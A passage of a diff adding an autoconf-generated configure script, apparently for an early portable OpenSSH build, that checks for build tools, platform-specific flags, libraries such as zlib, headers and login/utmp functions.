conftest.$ac_ext >&5 + rm -rf conftest* + CPP=/lib/cpp +fi +rm -f conftest* +fi +rm -f conftest* +fi +rm -f conftest* + ac_cv_prog_CPP="$CPP" +fi + CPP="$ac_cv_prog_CPP" +else + ac_cv_prog_CPP="$CPP" +fi +echo "$ac_t""$CPP" 1>&6 + +# Extract the first word of "ranlib", so it can be a program name with args. +set dummy ranlib; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:942: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_RANLIB'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$RANLIB"; then + ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_RANLIB="ranlib" + break + fi + done + IFS="$ac_save_ifs" + test -z "$ac_cv_prog_RANLIB" && ac_cv_prog_RANLIB=":" +fi +fi +RANLIB="$ac_cv_prog_RANLIB" +if test -n "$RANLIB"; then + echo "$ac_t""$RANLIB" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# ./install, which can be erroneously created by make from ./install.sh. +echo $ac_n "checking for a BSD compatible install""... $ac_c" 1>&6 +echo "configure:981: checking for a BSD compatible install" >&5 +if test -z "$INSTALL"; then +if eval "test \"`echo '$''{'ac_cv_path_install'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + IFS="${IFS= }"; ac_save_IFS="$IFS"; IFS=":" + for ac_dir in $PATH; do + # Account for people who put trailing slashes in PATH elements. + case "$ac_dir/" in + /|./|.//|/etc/*|/usr/sbin/*|/usr/etc/*|/sbin/*|/usr/afsws/bin/*|/usr/ucb/*) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + if test -f $ac_dir/$ac_prog; then + if test $ac_prog = install && + grep dspmsg $ac_dir/$ac_prog >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + else + ac_cv_path_install="$ac_dir/$ac_prog -c" + break 2 + fi + fi + done + ;; + esac + done + IFS="$ac_save_IFS" + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL="$ac_cv_path_install" + else + # As a last resort, use the slow shell script. We don't cache a + # path for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the path is relative. + INSTALL="$ac_install_sh" + fi +fi +echo "$ac_t""$INSTALL" 1>&6 + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL_PROGRAM}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +# Extract the first word of "ar", so it can be a program name with args. +set dummy ar; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1036: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_prog_AR'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + if test -n "$AR"; then + ac_cv_prog_AR="$AR" # Let the user override the test. +else + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_prog_AR="ar" + break + fi + done + IFS="$ac_save_ifs" +fi +fi +AR="$ac_cv_prog_AR" +if test -n "$AR"; then + echo "$ac_t""$AR" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + +# Extract the first word of "perl", so it can be a program name with args. +set dummy perl; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1065: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_PERL'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$PERL" in + /*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_PERL="$PERL" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_PERL="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +PERL="$ac_cv_path_PERL" +if test -n "$PERL"; then + echo "$ac_t""$PERL" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + +# Extract the first word of "ent", so it can be a program name with args. +set dummy ent; ac_word=$2 +echo $ac_n "checking for $ac_word""... $ac_c" 1>&6 +echo "configure:1101: checking for $ac_word" >&5 +if eval "test \"`echo '$''{'ac_cv_path_ENT'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + case "$ENT" in + /*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a path. + ;; + ?:/*) + ac_cv_path_ENT="$ENT" # Let the user override the test with a dos path. + ;; + *) + IFS="${IFS= }"; ac_save_ifs="$IFS"; IFS=":" + ac_dummy="$PATH" + for ac_dir in $ac_dummy; do + test -z "$ac_dir" && ac_dir=. + if test -f $ac_dir/$ac_word; then + ac_cv_path_ENT="$ac_dir/$ac_word" + break + fi + done + IFS="$ac_save_ifs" + ;; +esac +fi +ENT="$ac_cv_path_ENT" +if test -n "$ENT"; then + echo "$ac_t""$ENT" 1>&6 +else + echo "$ac_t""no" 1>&6 +fi + + + +if test -z "$LD" ; then + LD=$CC +fi + + +# C Compiler features +echo $ac_n "checking for inline""... $ac_c" 1>&6 +echo "configure:1142: checking for inline" >&5 +if eval "test \"`echo '$''{'ac_cv_c_inline'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat > conftest.$ac_ext <&5; (eval $ac_compile) 2>&5; }; then + rm -rf conftest* + ac_cv_c_inline=$ac_kw; break +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 +fi +rm -f conftest* +done + +fi + +echo "$ac_t""$ac_cv_c_inline" 1>&6 +case "$ac_cv_c_inline" in + inline | yes) ;; + no) cat >> confdefs.h <<\EOF +#define inline +EOF + ;; + *) cat >> confdefs.h <&6 +echo "configure:1195: checking for authenticate" >&5 +if eval "test \"`echo '$''{'ac_cv_func_authenticate'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char authenticate(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_authenticate) || defined (__stub___authenticate) +choke me +#else +authenticate(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1223: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_authenticate=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_authenticate=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'authenticate`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define WITH_AIXAUTHENTICATE 1 +EOF + +else + echo "$ac_t""no" 1>&6 +fi + + cat >> confdefs.h <<\EOF +#define BROKEN_GETADDRINFO 1 +EOF + + MANTYPE='$(CATMAN)' + mansubdir=cat + cat >> confdefs.h <<\EOF +#define DISABLE_LASTLOG 1 +EOF + + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux10*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + echo $ac_n "checking for HPUX trusted system password database""... $ac_c" 1>&6 +echo "configure:1268: checking for HPUX trusted system password database" >&5 + if test -f /tcb/files/auth/system/default; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_HPUX_TRUSTED_SYSTEM_PW 1 +EOF + + LIBS="$LIBS -lsec" + echo "configure: warning: This configuration is untested" 1>&2 + else + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-hpux11*) + if test -z "$GCC"; then + CFLAGS="$CFLAGS -Ae" + fi + CFLAGS="$CFLAGS -D_HPUX_SOURCE" + cat >> confdefs.h <<\EOF +#define IPADDR_IN_DISPLAY 1 +EOF + + echo $ac_n "checking for HPUX trusted system password database""... $ac_c" 1>&6 +echo "configure:1297: checking for HPUX trusted system password database" >&5 + if test -f /tcb/files/auth/system/default; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_HPUX_TRUSTED_SYSTEM_PW 1 +EOF + + LIBS="$LIBS -lsec" + echo "configure: warning: This configuration is untested" 1>&2 + else + echo "$ac_t""no" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_SHADOW 1 +EOF + + fi + MANTYPE='$(CATMAN)' + mansubdir=cat + ;; +*-*-irix5*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + no_libsocket=1 + no_libnsl=1 + ;; +*-*-irix6*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS" + MANTYPE='$(CATMAN)' + cat >> confdefs.h <<\EOF +#define WITH_IRIX_ARRAY 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_PROJECT 1 +EOF + + cat >> confdefs.h <<\EOF +#define WITH_IRIX_AUDIT 1 +EOF + + no_libsocket=1 + no_libnsl=1 + ;; +*-*-linux*) + no_dev_ptmx=1 + cat >> confdefs.h <<\EOF +#define DONT_TRY_OTHER_AF 1 +EOF + + cat >> confdefs.h <<\EOF +#define PAM_TTY_KLUDGE 1 +EOF + + inet6_default_4in6=yes + ;; +*-*-netbsd*) + need_dash_r=1 + ;; +*-next-*) + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/usr/adm/lastlog" + conf_utmp_location=/etc/utmp + cat >> confdefs.h <<\EOF +#define HAVE_NEXT 1 +EOF + + CFLAGS="$CFLAGS -I/usr/local/include" + MAIL=/usr/spool/mail + echo "configure: warning: *** Tested: PA-RISC/m68k Untested: Sparc/Intel" 1>&2 + echo "configure: warning: *** Expect 'scp' to fail!" 1>&2 + echo "configure: warning: *** Please report any problems, thanks" 1>&2 + ;; +*-*-solaris*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -R/usr/local/lib -L/usr/ucblib -R/usr/ucblib" + need_dash_r=1 + # hardwire lastlog location (can't detect it on some versions) + conf_lastlog_location="/var/adm/lastlog" + echo $ac_n "checking for obsolete utmp and wtmp in solaris2.x""... $ac_c" 1>&6 +echo "configure:1378: checking for obsolete utmp and wtmp in solaris2.x" >&5 + sol2ver=`echo "$host"| sed -e 's/.*[0-9]\.//'` + if test "$sol2ver" -ge 8; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define DISABLE_UTMP 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_WTMP 1 +EOF + + else + echo "$ac_t""no" 1>&6 + fi + ;; +*-*-sunos4*) + CFLAGS="$CFLAGS -DSUNOS4" + for ac_func in getpwanam +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1399: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1427: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + + ;; +*-sni-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib -L/usr/ucblib" + MANTYPE='$(CATMAN)' + cat >> confdefs.h <<\EOF +#define IP_TOS_IS_BROKEN 1 +EOF + + mansubdir=cat + LIBS="$LIBS -lgen -lnsl -lucb" + ;; +*-*-sysv*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + ;; +*-*-sco3*) + CFLAGS="$CFLAGS -I/usr/local/include" + LDFLAGS="$LDFLAGS -L/usr/local/lib" + MANTYPE='$(CATMAN)' + mansubdir=cat + LIBS="$LIBS -lgen -lsocket" + no_dev_ptmx=1 + ;; +*-dec-osf*) +# This is untested + if test ! -z "USE_SIA" ; then + echo $ac_n "checking for Digital Unix Security Integration Architecture""... $ac_c" 1>&6 +echo "configure:1482: checking for Digital Unix Security Integration Architecture" >&5 + if test -f /etc/sia/matrix.conf; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_OSF_SIA 1 +EOF + + cat >> confdefs.h <<\EOF +#define DISABLE_LOGIN 1 +EOF + + LIBS="$LIBS -lsecurity -ldb -lm -laud" + else + echo "$ac_t""no" 1>&6 + fi + fi + ;; +esac + +# Allow user to specify flags +# Check whether --with-cflags or --without-cflags was given. +if test "${with_cflags+set}" = set; then + withval="$with_cflags" + + if test "x$withval" != "xno" ; then + CFLAGS="$CFLAGS $withval" + fi + + +fi + +# Check whether --with-ldflags or --without-ldflags was given. +if test "${with_ldflags+set}" = set; then + withval="$with_ldflags" + + if test "x$withval" != "xno" ; then + LDFLAGS="$LDFLAGS $withval" + fi + + +fi + +# Check whether --with-libs or --without-libs was given. +if test "${with_libs+set}" = set; then + withval="$with_libs" + + if test "x$withval" != "xno" ; then + LIBS="$LIBS $withval" + fi + + +fi + + + +# Checks for libraries. +echo $ac_n "checking for deflate in -lz""... $ac_c" 1>&6 +echo "configure:1539: checking for deflate in -lz" >&5 +ac_lib_var=`echo z'_'deflate | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lz $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo z | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +{ echo "configure: error: *** zlib missing - please install first ***" 1>&2; exit 1; } +fi + +echo $ac_n "checking for login in -lutil""... $ac_c" 1>&6 +echo "configure:1587: checking for login in -lutil" >&5 +ac_lib_var=`echo util'_'login | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lutil $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + cat >> confdefs.h <<\EOF +#define HAVE_LIBUTIL_LOGIN 1 +EOF + LIBS="$LIBS -lutil" +else + echo "$ac_t""no" 1>&6 +fi + + +if test -z "$no_libsocket" ; then + echo $ac_n "checking for yp_match in -lnsl""... $ac_c" 1>&6 +echo "configure:1632: checking for yp_match in -lnsl" >&5 +ac_lib_var=`echo nsl'_'yp_match | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lnsl $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo nsl | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi +if test -z "$no_libnsl" ; then + echo $ac_n "checking for main in -lsocket""... $ac_c" 1>&6 +echo "configure:1681: checking for main in -lsocket" >&5 +ac_lib_var=`echo socket'_'main | sed 'y%./+-%__p_%'` +if eval "test \"`echo '$''{'ac_cv_lib_$ac_lib_var'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + ac_save_LIBS="$LIBS" +LIBS="-lsocket $LIBS" +cat > conftest.$ac_ext <&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_lib_$ac_lib_var=no" +fi +rm -f conftest* +LIBS="$ac_save_LIBS" + +fi +if eval "test \"`echo '$ac_cv_lib_'$ac_lib_var`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_lib=HAVE_LIB`echo socket | sed -e 's/[^a-zA-Z0-9_]/_/g' \ + -e 'y/abcdefghijklmnopqrstuvwxyz/ABCDEFGHIJKLMNOPQRSTUVWXYZ/'` + cat >> confdefs.h <&6 +fi + +fi + +# Checks for header files. +for ac_hdr in bstring.h endian.h floatingpoint.h lastlog.h limits.h login.h maillock.h netdb.h netgroup.h netinet/in_systm.h paths.h poll.h pty.h shadow.h security/pam_appl.h sys/bitypes.h sys/bsdtty.h sys/cdefs.h sys/poll.h sys/select.h sys/stat.h sys/stropts.h sys/sysmacros.h sys/time.h sys/ttcompat.h stddef.h time.h usersec.h util.h utmp.h utmpx.h +do +ac_safe=`echo "$ac_hdr" | sed 'y%./+-%__p_%'` +echo $ac_n "checking for $ac_hdr""... $ac_c" 1>&6 +echo "configure:1730: checking for $ac_hdr" >&5 +if eval "test \"`echo '$''{'ac_cv_header_$ac_safe'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +EOF +ac_try="$ac_cpp conftest.$ac_ext >/dev/null 2>conftest.out" +{ (eval echo configure:1740: \"$ac_try\") 1>&5; (eval $ac_try) 2>&5; } +ac_err=`grep -v '^ *+' conftest.out | grep -v "^conftest.${ac_ext}\$"` +if test -z "$ac_err"; then + rm -rf conftest* + eval "ac_cv_header_$ac_safe=yes" +else + echo "$ac_err" >&5 + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_header_$ac_safe=no" +fi +rm -f conftest* +fi +if eval "test \"`echo '$ac_cv_header_'$ac_safe`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_hdr=HAVE_`echo $ac_hdr | sed 'y%abcdefghijklmnopqrstuvwxyz./-%ABCDEFGHIJKLMNOPQRSTUVWXYZ___%'` + cat >> confdefs.h <&6 +fi +done + + +# Checks for library functions. +for ac_func in arc4random atexit b64_ntop bcopy bindresvport_af clock freeaddrinfo gai_strerror getaddrinfo getnameinfo getrusage inet_aton innetgr md5_crypt memmove mkdtemp on_exit openpty rresvport_af setenv seteuid setlogin setproctitle setreuid sigaction sigvec snprintf strerror strlcat strlcpy strsep vsnprintf vhangup _getpty __b64_ntop +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1771: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1799: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in gettimeofday time +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1826: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1854: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in login logout updwtmp logwtmp +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1881: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1909: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in entutent getutent getutid getutline pututline setutent +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1936: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:1964: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in utmpname +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:1991: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined (__stub_$ac_func) || defined (__stub___$ac_func) +choke me +#else +$ac_func(); +#endif + +; return 0; } +EOF +if { (eval echo configure:2019: \"$ac_link\") 1>&5; (eval $ac_link) 2>&5; } && test -s conftest${ac_exeext}; then + rm -rf conftest* + eval "ac_cv_func_$ac_func=yes" +else + echo "configure: failed program was:" >&5 + cat conftest.$ac_ext >&5 + rm -rf conftest* + eval "ac_cv_func_$ac_func=no" +fi +rm -f conftest* +fi + +if eval "test \"`echo '$ac_cv_func_'$ac_func`\" = yes"; then + echo "$ac_t""yes" 1>&6 + ac_tr_func=HAVE_`echo $ac_func | tr 'abcdefghijklmnopqrstuvwxyz' 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'` + cat >> confdefs.h <&6 +fi +done + +for ac_func in entutxent getutxent getutxid getutxline pututxline +do +echo $ac_n "checking for $ac_func""... $ac_c" 1>&6 +echo "configure:2046: checking for $ac_func" >&5 +if eval "test \"`echo '$''{'ac_cv_func_$ac_func'+set}'`\" = set"; then + echo $ac_n "(cached) $ac_c" 1>&6 +else + cat > conftest.$ac_ext < +/* Override any gcc2 internal prototype to avoid an error. */ +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char $ac_func(); + +int main() { + +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with 